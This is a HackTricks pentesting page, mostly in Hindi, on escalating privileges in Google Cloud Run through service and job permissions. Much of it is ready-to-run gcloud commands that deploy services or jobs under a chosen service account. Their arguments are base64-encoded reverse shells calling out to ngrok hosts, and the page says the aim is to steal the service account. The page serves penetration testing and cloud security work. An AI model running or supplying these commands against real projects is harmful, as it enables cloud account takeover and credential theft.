GCP - Run Privesc

Support HackTricks

Cloud Run

Cloud Run के बारे में अधिक जानकारी के लिए देखें:

GCP - Cloud Run Enum

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

एक हमलावर के पास मनमाने कोड को चलाने वाली एक रन सेवा बनाने (मनमाना Docker कंटेनर), इसे एक सेवा खाता संलग्न करने, और कोड को मेटाडेटा से सेवा खाता टोकन को निकालने की अनुमति है।

इस विधि के लिए एक एक्सप्लॉइट स्क्रिप्ट यहां मिल सकती है और Docker इमेज यहां मिल सकती है।

ध्यान दें कि जब gcloud run deploy का उपयोग किया जाता है तो केवल सेवा बनाने के बजाय इसकी update अनुमति की आवश्यकता होती है। एक उदाहरण यहां देखें।

run.services.update , iam.serviceAccounts.actAs

पिछले वाले की तरह लेकिन एक सेवा को अपडेट करते हुए:

# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

अपने आप को क्लाउड रन पर पिछले अनुमतियाँ दें।

run.jobs.create, run.jobs.run, iam.serviceaccounts.actAs,(run.jobs.get)

कमांड में निर्दिष्ट सेवा खाते को चुराने के लिए एक रिवर्स शेल के साथ एक नौकरी लॉन्च करें। आप यहां एक एक्सप्लॉइट पा सकते हैं.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

पिछले की तरह, एक नौकरी को अपडेट करना और SA को अपडेट करना संभव है, कमांड और इसे निष्पादित करना:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.setIamPolicy

अपने लिए Cloud Jobs पर पिछले अनुमतियाँ दें।

References

Support HackTricks

Last updated